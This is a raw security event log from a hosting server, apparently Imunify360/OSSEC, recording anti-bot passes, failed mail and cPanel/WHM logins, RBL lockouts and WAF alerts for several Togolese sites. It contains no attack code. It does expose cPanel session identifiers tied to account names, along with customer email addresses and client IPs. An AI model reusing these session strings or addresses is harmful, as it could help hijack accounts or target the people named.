34.122.147.229 - - [22/Jun/2026:11:59:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6669512&pdata=http%253A%252F%252Fauditeccandco.com.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782129546 HTTP/1.1" 302 0 auditeccandco.com.154-70-82-246.cpanel.site "http://auditeccandco.com.154-70-82-246.cpanel.site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 Edge/12.246" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.5.156.207
country_id: 2750405
description:
2026-06-22 11:59:55 dovecot_login authenticator failed for H=(asociaciondelaterapiaholisticadepolaridad.com) [194.5.156.207]:40474: 535 Incorrect authentication data (set_id=clients@metaart.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 152.59.171.208
country_id: 1269750
description:
152.59.171.208 - - [22/Jun/2026:12:00:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869169&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782129642 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:152.59.171.208


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.119.99.90
country_id: 1831722
description:
103.119.99.90 - - [22/Jun/2026:12:01:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881752&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782129659 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.119.99.90


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.248.170.199
country_id: 1643084
description:
23.248.170.199 - - [22/Jun/2026:12:08:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13147235&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782130096 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.248.170.199


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:12:11:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13264238&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782130309 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:12:11:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9920663&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782130306 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.233.35.169
country_id: 3469034
description:
186.233.35.169 - - [22/Jun/2026:12:13:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054037&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782130435 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.3104.1289 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.233.35.169


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 12:13:45 +0000] info [cpaneld] 103.65.237.57 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.185.162.121
country_id: 1643084
description:
93.185.162.121 - - [22/Jun/2026:12:15:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987478&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782130550 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.185.162.121


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.28.18
country_id: 2363686
description:
[2026-06-22 12:19:49 +0000] info [cpaneld] 196.171.28.18 NEW togoinrdceh:jn67h8WIR7PovKFO address=196.171.28.18,app=cpaneld,creator=togoinrdceh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 111.67.102.112
country_id: 1831722
description:
111.67.102.112 - - [22/Jun/2026:12:20:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923686&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782130804 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:111.67.102.112


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 105.232.128.128
country_id: 3355338
description:
105.232.128.128 - - [22/Jun/2026:12:23:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13158804&pdata=https%253A%252F%252Fcfpj.tg%252Fnadu-59128sitems%252Fetidm52en.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782130979 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nadu-59128sitems/etidm52en.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:105.232.128.128


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.220.101.20
country_id: 2921044
description:
185.220.101.20 - - [22/Jun/2026:12:23:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7103900&pdata=https%253A%252F%252Fucao-uut.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782131032 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.20


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 37.99.49.105
country_id: 1522867
description:
37.99.49.105 - - [22/Jun/2026:12:25:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870995&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-151195tetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782131152 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-151195tetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:37.99.49.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.247.22.224
country_id: 1643084
description:
103.247.22.224 - - [22/Jun/2026:12:26:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7236508&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782131165 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.247.22.224


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.156.102
country_id: 1880251
description:
104.28.156.102 - - [22/Jun/2026:12:25:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6856045&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782131149 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.156.102


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.101.169
country_id: 3865483
description:
Jun 22 12:26:19 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.101.169 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:12:26:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13157532&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782131206 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:12:27:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040102&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782131231 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.118.10
country_id: 2363686
description:
[2026-06-22 12:30:25 +0000] info [webmaild] 196.170.118.10 - kakue@togointerim.net "GET /cpsess7537012358/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.165.171.131
country_id: 935317
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/category/sante/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.163.36
country_id: 1880251
description:
104.28.163.36 - - [22/Jun/2026:12:34:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133000&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782131663 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:153.0) Gecko/20100101 Firefox/153.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.163.36


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.185.162.147
country_id: 1643084
description:
93.185.162.147 - - [22/Jun/2026:12:35:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7325036&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782131713 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.185.162.147


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 51.83.5.75
country_id: 3017382
description:
[2026-06-22 12:37:14 +0000] info [cpaneld] 51.83.5.75 NEW he24djure:I20WCcdw1H5vaZDR address=51.83.5.75,app=cpaneld,creator=he24djure,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.156.114
country_id: 1880251
description:
104.28.156.114 - - [22/Jun/2026:12:40:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7391427&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782132030 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 12; CPH2113) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.156.114


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:12:42:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9922707&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782132139 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.118.10
country_id: 2363686
description:
[2026-06-22 12:41:34 +0000] info [webmaild] 196.170.118.10 - kakue@togointerim.net "GET /cpsess7537012358/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.198.240.119
country_id: 6252001
description:
185.198.240.119 - - [22/Jun/2026:12:41:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9684889&pdata=https%253A%252F%252Fwages.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782132093 HTTP/2.0" 302 0 wages.tg "https://wages.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.198.240.119


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:12:42:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6330781&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782132140 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.46.70.174
country_id: 1522867
description:
2026-06-22 12:41:47 dovecot_plain authenticator failed for H=(p0t9tiu201skrref6wcam28v8tcc) [92.46.70.174]:56322: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.185.162.147
country_id: 1643084
description:
93.185.162.147 - - [22/Jun/2026:12:42:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6725014&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782132168 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.185.162.147


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 89.248.171.23
country_id: 2750405
description:
89.248.171.23 - - [22/Jun/2026:12:43:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9794195&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782132229 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:89.248.171.23


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.145.215.215
country_id: 6252001
description:
[2026-06-22 12:45:14 +0000] info [whostmgrd] 47.145.215.215 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.209.233.172
country_id: 3595528
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/togodailynews.tg/wp-content/uploads/2025/07/WhatsApp-Image-2025-07-02-at-08.25.17.webp HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 112.215.152.224
country_id: 1643084
description:
112.215.152.224 - - [22/Jun/2026:12:51:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6644886&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782132677 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 12; M2010J19CG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:112.215.152.224


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.148.251
country_id: 2363686
description:
2026-06-22 12:52:09 dovecot_login authenticator failed for H=(Yoga) [102.64.148.251]:49982: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.229
country_id: 2635167
description:
[2026-06-22 12:53:05 +0000] info [cpaneld] 5.230.153.229 NEW wcnyaruu:XhMCSE3WQqsw6WVI address=5.230.153.229,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.218.205.119
country_id: 6252001
description:
[2026-06-22 12:53:06 +0000] info [whostmgrd] 97.218.205.119 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 12:54:59 +0000] info [cpaneld] 103.65.237.57 - sodigaz "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:12:57:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725801&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782133073 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:12:58:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7247210&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782133078 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 152.58.130.214
country_id: 1269750
description:
152.58.130.214 - - [22/Jun/2026:12:58:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6526154&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782133089 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:152.58.130.214


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [22/Jun/2026:12:59:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854501&pdata=http%253A%252F%252F154.70.82.246&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782133197 HTTP/1.1" 302 0 154.70.82.246 "http://154.70.82.246/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.90.136.217
country_id: 2750405
description:
Jun 22 13:13:27 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.90.136.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.90.136.217
country_id: 2750405
description:
2026-06-22 13:13:29 dovecot_plain authenticator failed for H=(3e5iktslmntydvwo06rrox8) [128.90.136.217]:58920: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.213.83.145
country_id: 1643084
description:
185.213.83.145 - - [22/Jun/2026:13:13:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250908&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782133993 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.213.83.145


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:13:14:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10394519&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782134042 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:13:14:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12938908&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782134042 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.115.215.70
country_id: 3923057
description:
181.115.215.70 - - [22/Jun/2026:13:14:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7127752&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782134094 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.115.215.70


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.78.28.54
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ecobank-kenya-une-nouvelle-directrice-pour-consolider-la-croissance-et-la-solidite-financiere/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.78.28.54
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/ecobank-kenya-une-nouvelle-directrice-pour-consolider-la-croissance-et-la-solidite-financiere/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 121.101.132.177
country_id: 1643084
description:
121.101.132.177 - - [22/Jun/2026:13:15:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6713246&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782134105 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:121.101.132.177


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
